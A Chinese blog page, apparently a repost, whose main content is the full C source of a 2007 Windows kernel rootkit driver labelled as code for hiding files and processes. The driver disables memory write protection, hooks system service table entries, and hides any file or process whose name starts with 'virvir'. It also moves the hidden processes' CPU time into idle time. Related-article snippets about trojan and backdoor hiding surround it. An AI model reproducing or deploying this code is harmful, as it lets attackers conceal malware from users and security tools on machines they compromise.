隐藏文件和进程的驱动代码收藏

文件被占用死活删不掉?这款进程终结神器10秒破局,电脑清理党必备! "救命!为什么每次删文件都像在玩扫雷?"相信每个电脑用户都经历过这种窒息时刻——明明已经关闭所有程序,删除时却弹出"文件被占用"的死亡警告;明明急着清理C盘,却对着顽固文件干瞪眼;最气人的是,连系统自带的资源管理器都查不出是谁在背后使坏!今天要揭秘的这款Windows进程终结神器,堪称电脑里的"拆弹专家",它能像X光一样透视所有隐藏占用,更让人尖叫的是,这个不足2MB的绿色工具,竟能搞定连专业软件都束手无策的顽固进程! 阅读详情
原创 隐藏文件和进程的驱动代码收藏

// ***************************************************************

//  bhhidef   version:  1.0   ? date: 10/11/2007

//  -------------------------------------------------------------

//  

//  author  :virvir

//  -------------------------------------------------------------

//  msn     :dupchina@yahoo.com.cn

//  QQ      : 414947531

//  web     :www.virvir.cn

//  -------------------------------------------------------------

//  Copyright (C) 2007 - All Rights Reserved

// ***************************************************************



#include "ntddk.h"

#include "stdarg.h"

#include "stdio.h"

#include "ntiologc.h"

/************************************************************************/

/*             pre-defines                                              */

/************************************************************************/       

#define DWORD unsigned long

#define WORD unsigned short

#define BOOL unsigned long



#pragma pack(1)

typedef struct ServiceDescriptorEntry {

        unsigned int *ServiceTableBase;

        unsigned int *ServiceCounterTableBase;

        unsigned int NumberOfServices;

        unsigned char *ParamTableBase;

} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;

#pragma pack()



__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]



/*

* Length of process name (rounded up to next DWORD)

*/

#define PROCNAMELEN     20



/*

* Maximum length of NT process name

*/

#define NT_PROCNAMELEN  16



#define FileIdFullDirectoryInformation 38

#define FileIdBothDirectoryInformation 37







/************************************************************************/

/* structs                                                             */

/************************************************************************/

struct _SYSTEM_THREADS

{

        LARGE_INTEGER           KernelTime;

        LARGE_INTEGER           UserTime;

        LARGE_INTEGER           CreateTime;

        ULONG                           WaitTime;

        PVOID                           StartAddress;

        CLIENT_ID                       ClientIs;

        KPRIORITY                       Priority;

        KPRIORITY                       BasePriority;

        ULONG                           ContextSwitchCount;

        ULONG                           ThreadState;

        KWAIT_REASON            WaitReason;

};



struct _SYSTEM_PROCESSES

{

        ULONG                           NextEntryDelta;

        ULONG                           ThreadCount;

        ULONG                           Reserved[6];

        LARGE_INTEGER           CreateTime;

        LARGE_INTEGER           UserTime;

        LARGE_INTEGER           KernelTime;

        UNICODE_STRING          ProcessName;

        KPRIORITY                       BasePriority;

        ULONG                           ProcessId;

        ULONG                           InheritedFromProcessId;

        ULONG                           HandleCount;

        ULONG                           Reserved2[2];

        VM_COUNTERS                     VmCounters;

        IO_COUNTERS                     IoCounters; //windows 2000 only

        struct _SYSTEM_THREADS          Threads[1];

};



struct _SYSTEM_PROCESSOR_TIMES

{

                LARGE_INTEGER                                        IdleTime;

                LARGE_INTEGER                                        KernelTime;

                LARGE_INTEGER                                        UserTime;

                LARGE_INTEGER                                        DpcTime;

                LARGE_INTEGER                                        InterruptTime;

                ULONG                                                        InterruptCount;

};



typedef struct _FILE_DIRECTORY_INFORMATION {

    ULONG NextEntryOffset;

    ULONG FileIndex;

    LARGE_INTEGER CreationTime;

    LARGE_INTEGER LastAccessTime;

    LARGE_INTEGER LastWriteTime;

    LARGE_INTEGER ChangeTime;

    LARGE_INTEGER EndOfFile;

    LARGE_INTEGER AllocationSize;

    ULONG FileAttributes;

    ULONG FileNameLength;

    WCHAR FileName[1];

} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;



typedef struct _FILE_FULL_DIR_INFORMATION {

    ULONG NextEntryOffset;

    ULONG FileIndex;

    LARGE_INTEGER CreationTime;

    LARGE_INTEGER LastAccessTime;

    LARGE_INTEGER LastWriteTime;

    LARGE_INTEGER ChangeTime;

    LARGE_INTEGER EndOfFile;

    LARGE_INTEGER AllocationSize;

    ULONG FileAttributes;

    ULONG FileNameLength;

    ULONG EaSize;

    WCHAR FileName[1];

} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;



typedef struct _FILE_ID_FULL_DIR_INFORMATION {

    ULONG NextEntryOffset;

    ULONG FileIndex;

    LARGE_INTEGER CreationTime;

    LARGE_INTEGER LastAccessTime;

    LARGE_INTEGER LastWriteTime;

    LARGE_INTEGER ChangeTime;

    LARGE_INTEGER EndOfFile;

    LARGE_INTEGER AllocationSize;

    ULONG FileAttributes;

    ULONG FileNameLength;

    ULONG EaSize;

    LARGE_INTEGER FileId;

    WCHAR FileName[1];

} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;



typedef struct _FILE_BOTH_DIR_INFORMATION {

    ULONG NextEntryOffset;

    ULONG FileIndex;

    LARGE_INTEGER CreationTime;

    LARGE_INTEGER LastAccessTime;

    LARGE_INTEGER LastWriteTime;

    LARGE_INTEGER ChangeTime;

    LARGE_INTEGER EndOfFile;

    LARGE_INTEGER AllocationSize;

    ULONG FileAttributes;

    ULONG FileNameLength;

    ULONG EaSize;

    CCHAR ShortNameLength;

    WCHAR ShortName[12];

    WCHAR FileName[1];

} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;



typedef struct _FILE_ID_BOTH_DIR_INFORMATION {

    ULONG NextEntryOffset;

    ULONG FileIndex;

    LARGE_INTEGER CreationTime;

    LARGE_INTEGER LastAccessTime;

    LARGE_INTEGER LastWriteTime;

    LARGE_INTEGER ChangeTime;

    LARGE_INTEGER EndOfFile;

    LARGE_INTEGER AllocationSize;

    ULONG FileAttributes;

    ULONG FileNameLength;

    ULONG EaSize;

    CCHAR ShortNameLength;

    WCHAR ShortName[12];

    LARGE_INTEGER FileId;

    WCHAR FileName[1];

} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;



typedef struct _FILE_NAMES_INFORMATION {

    ULONG NextEntryOffset;

    ULONG FileIndex;

    ULONG FileNameLength;

    WCHAR FileName[1];

} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;



NTSYSAPI

NTSTATUS

NTAPI

ZwQueryDirectoryFile(

        IN HANDLE hFile,

        IN HANDLE hEvent OPTIONAL,

        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,

        IN PVOID IoApcContext OPTIONAL,

        OUT PIO_STATUS_BLOCK pIoStatusBlock,

        OUT PVOID FileInformationBuffer,

        IN ULONG FileInformationBufferLength,

        IN FILE_INFORMATION_CLASS FileInfoClass,

        IN BOOLEAN bReturnOnlyOneEntry,

        IN PUNICODE_STRING PathMask OPTIONAL,

        IN BOOLEAN bRestartQuery

);



typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(

        HANDLE hFile,

        HANDLE hEvent,

        PIO_APC_ROUTINE IoApcRoutine,

        PVOID IoApcContext,

        PIO_STATUS_BLOCK pIoStatusBlock,

        PVOID FileInformationBuffer,

        ULONG FileInformationBufferLength,

        FILE_INFORMATION_CLASS FileInfoClass,

        BOOLEAN bReturnOnlyOneEntry,

        PUNICODE_STRING PathMask,

        BOOLEAN bRestartQuery

);



NTSYSAPI

NTSTATUS

NTAPI

ZwQuerySystemInformation(

            IN ULONG SystemInformationClass,

                        IN PVOID SystemInformation,

                        IN ULONG SystemInformationLength,

                        OUT PULONG ReturnLength);





typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(

            ULONG SystemInformationCLass,

                        PVOID SystemInformation,

                        ULONG SystemInformationLength,

                        PULONG ReturnLength

);



/************************************************************************/

/* globals                                                              */

/************************************************************************/

ULONG gProcessNameOffset;

LARGE_INTEGER                                        m_UserTime;

LARGE_INTEGER                                        m_KernelTime;

ZWQUERYDIRECTORYFILE        OldZwQueryDirectoryFile;

ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;







/* Find the offset of the process name within the executive process

   block.  We do this by searching for the first occurance of "System"

   in the current process when the device driver is loaded. */



void GetProcessNameOffset()

{

  PEPROCESS curproc = PsGetCurrentProcess();

  int i;

  for( i = 0; i < 3*PAGE_SIZE; i++ )

  {

      if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))

        {

          gProcessNameOffset = i;

        }

  }

}



/* Given a directory entry, return the next

   directory entry in the linked list. */



DWORD getDirEntryLenToNext(IN PVOID FileInformationBuffer,

                                                   IN FILE_INFORMATION_CLASS FileInfoClass)

{

        DWORD result = 0;

        switch(FileInfoClass){

                case FileDirectoryInformation:

                        result = ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset;

                        break;

                case FileFullDirectoryInformation:

                        result = ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;

                        break;

                case FileIdFullDirectoryInformation:

                        result = ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;

                        break;

                case FileBothDirectoryInformation:

                        result = ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;

                        break;

                case FileIdBothDirectoryInformation:

                        result = ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;

                        break;

                case FileNamesInformation:

                        result = ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset;

                        break;

        }

        return result;

}





// ***************************************************************

//  function-name:setDirEntryLenToNext

//  -------------------------------------------------------------

//  pramaters:

//  -------------------------------------------------------------

//  return:void

//  -------------------------------------------------------------

// Given two directory entries, link them together in a list

// ***************************************************************

void setDirEntryLenToNext(IN PVOID FileInformationBuffer,

                                                  IN FILE_INFORMATION_CLASS FileInfoClass,

                                                  IN DWORD value)

{

        switch(FileInfoClass){

                case FileDirectoryInformation:

                        ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;

                        break;

                case FileFullDirectoryInformation:

                        ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;

                        break;

                case FileIdFullDirectoryInformation:

                        ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;

                        break;

                case FileBothDirectoryInformation:

                        ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;

                        break;

                case FileIdBothDirectoryInformation:

                        ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;

                        break;

                case FileNamesInformation:

                        ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;

                        break;

        }

}

        

/* Return the filename of the specified directory entry. */



PVOID getDirEntryFileName(IN PVOID FileInformationBuffer,

                                                  IN FILE_INFORMATION_CLASS FileInfoClass)

{

        PVOID result = 0;

        switch(FileInfoClass){

                case FileDirectoryInformation:

                        result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileName[0];

                        break;

                case FileFullDirectoryInformation:

                        result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];

                        break;

                case FileIdFullDirectoryInformation:

                        result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];

                        break;

                case FileBothDirectoryInformation:

                        result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];

                        break;

                case FileIdBothDirectoryInformation:

                        result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];

                        break;

                case FileNamesInformation:

                        result =(PVOID)&((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileName[0];

                        break;

        }

        return result;

}



/* Return the length of the filename of the specified directory

   entry. */



ULONG getDirEntryFileLength(IN PVOID FileInformationBuffer,

                                                        IN FILE_INFORMATION_CLASS FileInfoClass)

{

        ULONG result = 0;

        switch(FileInfoClass){

                case FileDirectoryInformation:

                        result = (ULONG)((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileNameLength;

                        break;

                case FileFullDirectoryInformation:

                        result =(ULONG)((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;

                        break;

                case FileIdFullDirectoryInformation:

                        result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;

                        break;

                case FileBothDirectoryInformation:

                        result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;

                        break;

                case FileIdBothDirectoryInformation:

                        result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;

                        break;

                case FileNamesInformation:

                        result =(ULONG)((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileNameLength;

                        break;

        }

        return result;

}



/* Copy the process name into the specified buffer.  */



ULONG GetProcessName( PCHAR theName )

{

  PEPROCESS       curproc;

  char            *nameptr;

  //ULONG           i;

  //KIRQL           oldirql;



  if( gProcessNameOffset )

    {

      curproc = PsGetCurrentProcess();

      nameptr   = (PCHAR) curproc + gProcessNameOffset;

      strncpy( theName, nameptr, NT_PROCNAMELEN );

      theName[NT_PROCNAMELEN] = 0; /* NULL at end */

      return TRUE;

    }

  return FALSE;

}



/* NT's ZwQueryDirectoryFile() returns a a linked list of directory

   entries.  The function below imitates it, except it removes from

   the list any entry who's name begins with "_root_". */



NTSTATUS NewZwQueryDirectoryFile(

        IN HANDLE hFile,

        IN HANDLE hEvent OPTIONAL,

        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,

        IN PVOID IoApcContext OPTIONAL,

        OUT PIO_STATUS_BLOCK pIoStatusBlock,

        OUT PVOID FileInformationBuffer,

        IN ULONG FileInformationBufferLength,

        IN FILE_INFORMATION_CLASS FileInfoClass,

        IN BOOLEAN bReturnOnlyOneEntry,

        IN PUNICODE_STRING PathMask OPTIONAL,

        IN BOOLEAN bRestartQuery

)

{

        NTSTATUS rc;

        CHAR aProcessName[PROCNAMELEN];

               

        GetProcessName( aProcessName );

        DbgPrint("Rootkit: NewZwQueryDirectoryFile() from %s/n", aProcessName);



        rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (

                        hFile,         

                        hEvent,

                        IoApcRoutine,

                        IoApcContext,

                        pIoStatusBlock,

                        FileInformationBuffer,

                        FileInformationBufferLength,

                        FileInfoClass,

                        bReturnOnlyOneEntry,

                        PathMask,

                        bRestartQuery);



        if( NT_SUCCESS( rc ) &&

                (FileInfoClass == FileDirectoryInformation ||

                 FileInfoClass == FileFullDirectoryInformation ||

                 FileInfoClass == FileIdFullDirectoryInformation ||

                 FileInfoClass == FileBothDirectoryInformation ||

                 FileInfoClass == FileIdBothDirectoryInformation ||

                 FileInfoClass == FileNamesInformation )

                )

        {

                if(0 == memcmp(aProcessName, "virvir", 6))

                {

                        DbgPrint("Rootkit: detected file/directory query from virvir process/n");

                }

                else

                {

                        PVOID p = FileInformationBuffer;

                        PVOID pLast = NULL;

                        BOOL bLastOne;

                        do

                        {

                                bLastOne = !getDirEntryLenToNext(p,FileInfoClass);

                                

                                // compare directory-name prefix with 'virvir' to decide if to hide or not.



                                if (getDirEntryFileLength(p,FileInfoClass) >= 12) {

                                        if( RtlCompareMemory( getDirEntryFileName(p,FileInfoClass), L"virvir", 12 ) == 12 )

                                        {

                                                if( bLastOne )

                                                {

                                                        if( p == FileInformationBuffer ) rc = 0x80000006;

                                                        else setDirEntryLenToNext(pLast,FileInfoClass, 0);

                                                        break;

                                                }

                                                else

                                                {

                                                        int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;

                                                        int iLeft = (DWORD)FileInformationBufferLength - iPos - getDirEntryLenToNext(p,FileInfoClass);

                                                        RtlCopyMemory( p, (PVOID)( (char *)p + getDirEntryLenToNext(p,FileInfoClass) ), (DWORD)iLeft );

                                                        continue;

                                                }

                                        }

                                }

                                pLast = p;

                                p = ((char *)p + getDirEntryLenToNext(p,FileInfoClass) );

                        } while( !bLastOne );

                }

        }

        return(rc);

}

/************************************************************************/

/* NT's ZwQuerySystemInformation() returns a linked list of processes.

   The function below imitates it, except it removes from the list any

   process who's name begins with "virvir". */



NTSTATUS NewZwQuerySystemInformation(

            IN ULONG SystemInformationClass,

                        IN PVOID SystemInformation,

                        IN ULONG SystemInformationLength,

                        OUT PULONG ReturnLength

)

{

        NTSTATUS rc;

        CHAR aProcessName[PROCNAMELEN];

               

        GetProcessName( aProcessName );

        DbgPrint("rootkit: NewZwQuerySystemInformation() from %s/n", aProcessName);



        rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (

                        SystemInformationClass,

                        SystemInformation,

                        SystemInformationLength,

                        ReturnLength );



        if( NT_SUCCESS( rc ) )

        {

                // double check the process name, if it starts w/ 'virvir' DO NOT

                // apply any stealth

                if(0 == memcmp(aProcessName, "virvir", 6))

                {

                        DbgPrint("rootkit: detected system query from virvir process/n");

                }

                else if( 5 == SystemInformationClass )

                {

                        // this is a process list, look for process names that start with

                        // '_root_'

                        int iChanged = 0;

                                                struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

                        struct _SYSTEM_PROCESSES *prev = NULL;

                                               

                        while(curr)

                        {      

                                //struct _SYSTEM_PROCESSES *next = ((char *)curr += curr->NextEntryDelta);

                                

                                ANSI_STRING process_name;

                                RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE);

                                if( (0 < process_name.Length) && (255 > process_name.Length) )

                                {

                                        if(0 == memcmp( process_name.Buffer, "virvir", 6))

                                        {

                                                //////////////////////////////////////////////

                                                // we have a winner!

                                                //////////////////////////////////////////////

                                                char _output[255];

                                                char _pname[255];

                                                memset(_pname, 0, 255);

                                                memcpy(_pname, process_name.Buffer, process_name.Length);



                                                sprintf(        _output,

                                                                        "rootkit: hiding process, pid: %d/tname: %s/r/n",

                                                                        curr->ProcessId,

                                                                        _pname);

                                                DbgPrint(_output);



                                                                                                iChanged = 1;



                                                                                                m_UserTime.QuadPart += curr->UserTime.QuadPart;

                                                                                                m_KernelTime.QuadPart += curr->KernelTime.QuadPart;



                                                if(prev)

                                                {

                                                        if(curr->NextEntryDelta)

                                                        {

                                                                // make prev skip this entry

                                                                prev->NextEntryDelta += curr->NextEntryDelta;

                                                        }

                                                        else

                                                        {

                                                                // we are last, so make prev the end

                                                                prev->NextEntryDelta = 0;

                                                        }

                                                }

                                                else

                                                {

                                                        if(curr->NextEntryDelta)

                                                        {

                                                                // we are first in the list, so move it forward

                                                                (char *)SystemInformation += curr->NextEntryDelta;

                                                        }

                                                        else

                                                        {

                                                                // we are the only process!

                                                                SystemInformation = NULL;

                                                        }

                                                }

                                        }

                                }

                                                                else

                                                                {

                                                                        //add the times of _root_* processes to the idle process

                                                                        curr->UserTime.QuadPart += m_UserTime.QuadPart;

                                                                        curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

                                                                        m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

                                                                }





                                RtlFreeAnsiString(&process_name);

                                

                                                                if (0 == iChanged)

                                                                        prev = curr;

                                                                else

                                                                        iChanged = 0;



                                if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);

                                else curr = NULL;

                        }

                }

                                else if (8 == SystemInformationClass)                        //SystemProcessorTimes

                                {

                                        struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;



                                        times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;

                                }



        }

        return(rc);

}



/************************************************************************/



VOID OnUnload( IN PDRIVER_OBJECT DriverObject )

{

        DbgPrint("Rootkit: OnUnload called/n");



        // UNProtect memory

        __asm

        {

                push        eax

                mov                eax, CR0

                and                eax, 0FFFEFFFFh

                mov                CR0, eax

                pop                eax

        }



        // put back the old function pointer

        InterlockedExchange( (PLONG) &SYSTEMSERVICE(ZwQueryDirectoryFile),

                                                 (LONG) OldZwQueryDirectoryFile);

        InterlockedExchange( (PLONG) &SYSTEMSERVICE(ZwQuerySystemInformation),

                                                 (LONG) OldZwQuerySystemInformation);



        // REProtect memory

        __asm

        {

                push        eax

                mov                eax, CR0

                or                eax, NOT 0FFFEFFFFh

                mov                CR0, eax

                pop                eax

        }

}



NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )

{

        DbgPrint("Rootkit: WE ARE ALIVE! Start hiding files./n");



        GetProcessNameOffset();



        theDriverObject->DriverUnload  = OnUnload;



        // UNProtect memory

        __asm

        {

                push        eax

                mov                eax, CR0

                and                eax, 0FFFEFFFFh

                mov                CR0, eax

                pop                eax

        }



        // place the hook using InterlockedExchange (no need to disable interrupts)

        // this uses the LOCK instruction to lock the memory bus during the next instruction

        // Example:

        // LOCK INC DWORD PTR [EDX+04]

        // This staves off collisions on multi-processor machines, while cli/sti only disable interrupts

        // on the current processor.

        //

        OldZwQueryDirectoryFile =

                (ZWQUERYDIRECTORYFILE) InterlockedExchange(                (PLONG) &SYSTEMSERVICE(ZwQueryDirectoryFile),

                                                                                                                (LONG) NewZwQueryDirectoryFile);

        DbgPrint("%x",(PLONG) &SYSTEMSERVICE(ZwQueryDirectoryFile));

        OldZwQuerySystemInformation =

                (ZWQUERYSYSTEMINFORMATION) InterlockedExchange(                (PLONG) &SYSTEMSERVICE(ZwQuerySystemInformation),

                                                                                                                (LONG) NewZwQuerySystemInformation);

        //add hide reg&files

        // REProtect memory

        __asm

        {

                push        eax

                mov                eax, CR0

                or                eax, NOT 0FFFEFFFFh

                mov                CR0, eax

                pop                eax

        }



        return STATUS_SUCCESS;

}

C盘反复变满?用磁盘可视化分析和扫描定位隐藏残留大文件,安全释放空间 在Windows系统日常使用中,C盘空间持续告急是常见难题,很多人陷入“清理后很快又满”的循环。其根源并非普通缓存垃圾,而是休眠文件、更新缓存、AppData目录下的程序残留等隐藏大文件。磁盘空间管理需要从总量、分布、明细三个层次入手,借助WizTree、Everything等可视化分析工具,结合PowerShell命令和批处理脚本,可以精准定位占用大户,安全释放空间。本文详解从诊断到清理再到预防的完整流程,并涉及C盘扩容、虚拟内存调整等进阶操作,帮助用户建立长效的磁盘空间治理机制。 阅读详情

相关推荐

ZwQueryDirectoryFile

ZwQueryDirectoryFile 参数对应的结构体。ZwQueryDirectoryFile 参数对应的结构体。ZwQueryDirectoryFile 参数对应的结构体。ZwQueryDirectoryFile 参数对应的结构体。

BASIC ROOTKIT that hides files, directories, and processes

// BASIC ROOTKIT that hides files, directories, and processes// ----------------------------------------------------------// v0.1 - Initial, Greg Hoglund (hoglund@rootkit.com)// v0.2 - DirEntry struct

1167

DELPHI隐藏进程源代码

隐藏自己的进程,在资源管理器隐藏,可以支持WIN10

windows权限维持—— 驱动级文件隐藏

参考:https://www.cnblogs.com/xiaozi/p/7611775.html 驱动隐藏最典型的现象就是系统盘中存在以下文件: c:\WINDOWS\xlkfs.dat c:\WINDOWS\xlkfs.dll c:\WINDOWS\xlkfs.ini c:\WINDOWS\system32\drivers\xlkfs.sys 驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker 下载链接: http://www.xoslab.com/efl.htm

mingyqf的博客 1787

联想服务器ThinkSystemRAID阵列设置教程

关注我不迷路,全是干货! 以联想ThinkSystemSR530为例子进行示范。 开机点按【F1】 点击——【UEFI设置】 依次点击——【系统设置】——【存储】 点击——【RAID卡】 PS:本次服务器配置的是730-8i 阵列卡,按实际情况选中需要设置的阵列卡即可。 点击——【Main Menu】 点击——【Configuration Management】 点击——【Create Virtual Drive】 点击——【Select RAID Leve..

littlelotusK的博客 2万+

【效率手册】Kylin-Desktop-V10-SP1 麒麟系统核心组件实战——从入门到精通的6个关键场景

本文针对Kylin-Desktop-V10-SP1麒麟系统用户,通过文件管理、系统监视、设置优化等6个核心场景实战,深度解析如何高效运用系统内置工具解决文件混乱、性能卡顿、外设驱动等实际问题,帮助用户从功能认知跃升至场景化应用,真正释放国产操作系统的生产力潜能。

weixin_29208327的博客 119

【Windows系统】隐藏驱动器

下面以隐藏E盘为例。

sunriver2000的专栏 857

手把手教你用MOS管设计双电源自动切换电路(附零压降方案)

本文详细介绍了使用MOS管设计双电源自动切换电路的完整方案,包括基础电路拓扑、零压降优化设计及实战调试技巧。针对外接电源与电池供电的无缝切换需求,提供低损耗MOS管选型建议和性能实测数据,帮助工程师解决传统二极管方案的压降与漏电问题。

h0i1j2k3l的博客 1446

文件夹加密(链接方式)

.{00020c01-0000-0000-c000-000000000046} .{00020811-0000-0000-c000-000000000046} .{20D04FE0-3AEA-1069-A2D8-08002B30309D} .{450D8FBA-AD25-11D0-98A8-0800361B1103} .{992CFFA0-F557-101A-88EC-00DD010CCC48} 

huiguixian的专栏 1270

TI LP87745-Q1汽车雷达PMIC评估:从硬件设计到性能测试全解析

在汽车电子和高级驾驶辅助系统(ADAS)中,电源管理单元(PMIC)是确保传感器稳定可靠运行的核心。其工作原理在于集成多路高效电源转换器(如Buck、Boost)和精密监控电路,通过数字接口实现灵活配置与实时诊断。这项技术的核心价值在于为毫米波雷达等关键负载提供低噪声、高精度、满足严格时序与功能安全(ASIL)要求的供电方案,从而提升整个感知系统的信噪比与可靠性。其典型应用场景包括自动驾驶域控制器、车载传感器融合模块等。本文以德州仪器(TI)的LP87745-Q1专用PMIC及其评估模块(EVM)为例,深入

weixin_27017211的博客 311

基于YOLOv8深度学习架构的智能农业巡检小车系统—面向农作物与杂草实时精准识别的创新实践

本研究设计并实现了一套基于YOLOv8的智能农业巡检小车系统,解决农田中农作物与杂草的精准识别与追踪问题。系统采用改进YOLOv8-RGCSPELAN-ECA-AFPN模型,融合ECA注意力机制与AFPN多尺度特征融合结构,提升复杂环境下的检测精度。硬件以树莓派4B为核心,集成摄像头、传感器与电机模块,具备避障、循迹与自主导航功能。移动端基于Android部署NCNN推理引擎,实现模型高效移植与实时检测。

Stara-AI的博客 1425

windows10驱动 --- x64线程隐藏(一)

win10 x64 线程隐藏

weixin_41725706的博客 1821

如何使用CPU-Z获取内存条频率信息(编程)

当我们需要获取计算机内存条的频率信息时,可以利用CPU-Z这个工具来实现。CPU-Z是一款专门用于获取计算机硬件信息的工具,它提供了API接口,我们可以通过编程的方式来获取内存条频率信息。你可以从CPU-Z官方网站下载适用于你的操作系统的CPU-Z程序,并从安装目录中找到。函数,我们可以初始化CPU-Z,如果返回值不为0,则表示初始化失败。函数来获取内存条频率信息,如果返回值小于等于0,则表示获取失败。函数来初始化CPU-Z并获取内存条频率信息。最后,我们将获取到的内存条频率信息打印输出,并使用。

ByteProwl的博客 460

进程隐藏(转载,收藏)

随着安全技术的发展和计算机用户群的技术提高,一般的木马后门越来越难生存,于是一部分有能力的后门作者把眼光投向了系统底层——Ring 0。位于Ring 0层的是系统核心模块和各种驱动程序模块,所以位于这一层的木马也是以驱动的形式生存的,而不是一般的EXE。后门作者把后门写成符合WDM规范(Windows Driver Model)的驱动程序模块,把自身添加进注册表的驱动程序加载入口,便实现了“无

shenj15的专栏 1275

“华为杯”研究生数学建模竞赛2016年-【华为杯】A题:多无人机协同任务规划

题分别求解,保证了攻击方无人机滞留在防御方雷达有效探测范围内的时间总和最小,接着,通过提出巡检待命无人机的设想,型无人机携带炸弹的具体清单和攻击的目标清单),保证攻击方的无人机滞留防御方雷。在使用基于贪心算法的覆盖法时,覆盖的目标点中必须首先不含配备雷达站的目标点。步优化保证攻击方的无人机滞留防御方雷达有效探测范围内的时间总和最小,需首先。的“灵巧”炸弹,采用抛投方式对地攻击,即投放后炸弹以飞机投弹时的速度作抛物。运动,当炸弹接近目标后,可主动寻的攻击待打击的目标,因此炸弹落点位于目标中。

getusushu的博客 1036

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

30个木马隐藏技巧与反制策略,从零基础到精通,收藏这篇就够了!

木马病毒,这玩意儿在网络安全圈子里,简直就是个挥之不去的幽灵。黑客绞尽脑汁让它藏得更深,安全专家们则费尽心思把它揪出来。今天咱就来扒一扒这30个木马的“障眼法”和反制手段,保证让你看完之后,对网络安全这潭水有多深,有个更直观的认识。

Libra1313的博客 1211

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

进程隐藏(转载,收藏)2007-07-29 08:29:58

  随着安全技术的发展和计算机用户群的技术提高,一般的木马后门越来越难生存,于是一部分有能力的后门作者把眼光投向了系统底层——Ring 0。位于Ring 0层的是系统核心模块和各种驱动程序模块,所以位于这一层的木马也是以驱动的形式生存的,而不是一般的EXE。后门作者把后门写成符合WDM规范(Windows Driver Model)的驱动程序模块,把自身添加进注册表的驱动程序加载入口,便实现了“无

virtual_elf的专栏 334

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

30个木马隐藏技巧与反制策略 不容错过!从零基础到精通,收藏这篇就够了!

木马,作为网络安全领域的一大威胁,其反制与隐藏技术一直是黑客与安全专家关注的焦点。本文将深入探讨30个非常专业的木马反制与隐藏技巧,旨在帮助读者更好地理解木马的运作机制,并提升网络安全防护能力。

Javachichi的博客 1449

Windows与macOS隐藏文件显示全攻略:从属性原理到实操技巧

